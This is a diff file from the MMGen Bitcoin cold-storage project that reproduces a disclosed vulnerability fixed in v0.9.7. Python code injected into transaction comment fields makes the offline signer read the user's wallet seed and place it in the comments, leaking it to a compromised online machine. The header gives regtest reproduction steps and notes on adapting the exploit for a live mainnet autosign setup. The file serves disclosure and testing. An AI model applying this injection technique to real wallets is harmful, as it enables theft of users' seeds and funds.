mmgen-wallet/scripts/txsign-eval-exploit.diff

# mmgen = Multi-Mode GENerator, command-line Bitcoin cold storage solution
# Copyright (C)2013-2024 The MMGen Project <mmgen@tuta.io>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

# This patch implements the exploit that allowed a compromised MMGen on an
# online machine to fool an offline signing MMGen into passing the user's seed
# back to the online machine via a specially crafted transaction

# The seed is split in two and passed via the the input and output transaction
# comments

# Patch is against v0.9.6 - 6b9df0e contains the fix, which was included in v0.9.7

# Testing the exploit in Regtest mode:
#  $ git checkout -b evil_exploit v0.9.6
#  $ git apply scripts/txsign-eval-exploit.diff
#  $ git commit -a -m foo
#  $ mmgen-regtest setup
#  $ mmgen-regtest bob
#  $ mmgen-walletgen -q -p1 -r0 --bob -L label     # (hit ENTER 3 times, remember Bob's Seed ID)
#  $ mmgen-addrgen -q --bob 1-2
#  $ mmgen-addrimport -q --bob *.addrs
#  $ mmgen-regtest send <BTC addr of 1st imported address> 500
#  # Set PYTHONPATH to use the patched mmgen/tx.py module without installing it:
#  $ PYTHONPATH=. cmds/mmgen-txcreate --tx-fee=10s -q --bob <Bob's Seed ID>:L:2
#  $ PYTHONPATH=. cmds/mmgen-txsign -q --bob *.rawtx
#  $ mmgen-tool --testnet=1 txview *.sigtx         # Bob's seed is contained in the two comments
#  $ mmgen-walletconv -q -p1 -r0 --bob -o mmhex -S | cut -d ' ' -f 2- # verify that seed matches

# To modify the tx file for a live autosign setup:
# - uncomment the commented-out line in the patched code
# - repeat the txcreate step
# - edit the resulting tx file:
#   + replace the testnet addresses with their mainnet equivalents
#   + replace 'REGTEST' with 'MAINNET'
#   + replace the file's checksum in the first line with the output of 'scripts/compute-file-chksum.py'

# Make sure to return to master branch when you're finished:
#  $ git checkout master

diff --git a/mmgen/tx.py b/mmgen/tx.py
index 0d43840..d167040 100755
--- a/mmgen/tx.py
+++ b/mmgen/tx.py
@@ -557,6 +557,15 @@ class MMGenTX(MMGenObject):
 	def format(self):
 		self.inputs.check_coin_mismatch()
 		self.outputs.check_coin_mismatch()
+		d_in = repr([e.__dict__ for e in self.inputs])
+		d_out = repr([e.__dict__ for e in self.outputs])
+		if g.prog_name == 'mmgen-txcreate':
+			mod = "__import__('mmgen.seed',globals(),locals(),['SeedSource'])"
+			wdir = "os.environ['HOME']+'/.mmgen/regtest/btc/bob/'"
+			# wdir = "'/dev/shm/autosign/'" # use this for a real online/offline setup with autosign
+			wfile = "{w}+os.listdir({w})[-1]".format(w=wdir)
+			d_in = d_in.replace("'label': u''","'label': {}.SeedSource({}).seed.hexdata[:32]".format(mod,wfile))
+			d_out = d_out.replace('{',"{{'label': {}.SeedSource({}).seed.hexdata[32:], ".format(mod,wfile))
 		lines = [
 			'{}{} {} {} {} {}{}'.format(
 				(g.coin+' ','')[g.coin=='BTC'],
@@ -568,8 +577,8 @@ class MMGenTX(MMGenObject):
 				('',' LT={}'.format(self.locktime))[bool(self.locktime)]
 			),
 			self.hex,
-			repr([e.__dict__ for e in self.inputs]),
-			repr([e.__dict__ for e in self.outputs])
+			d_in,
+			d_out
 		]
 		if self.label:
 			lines.append(baseconv.b58encode(self.label.encode('utf8')))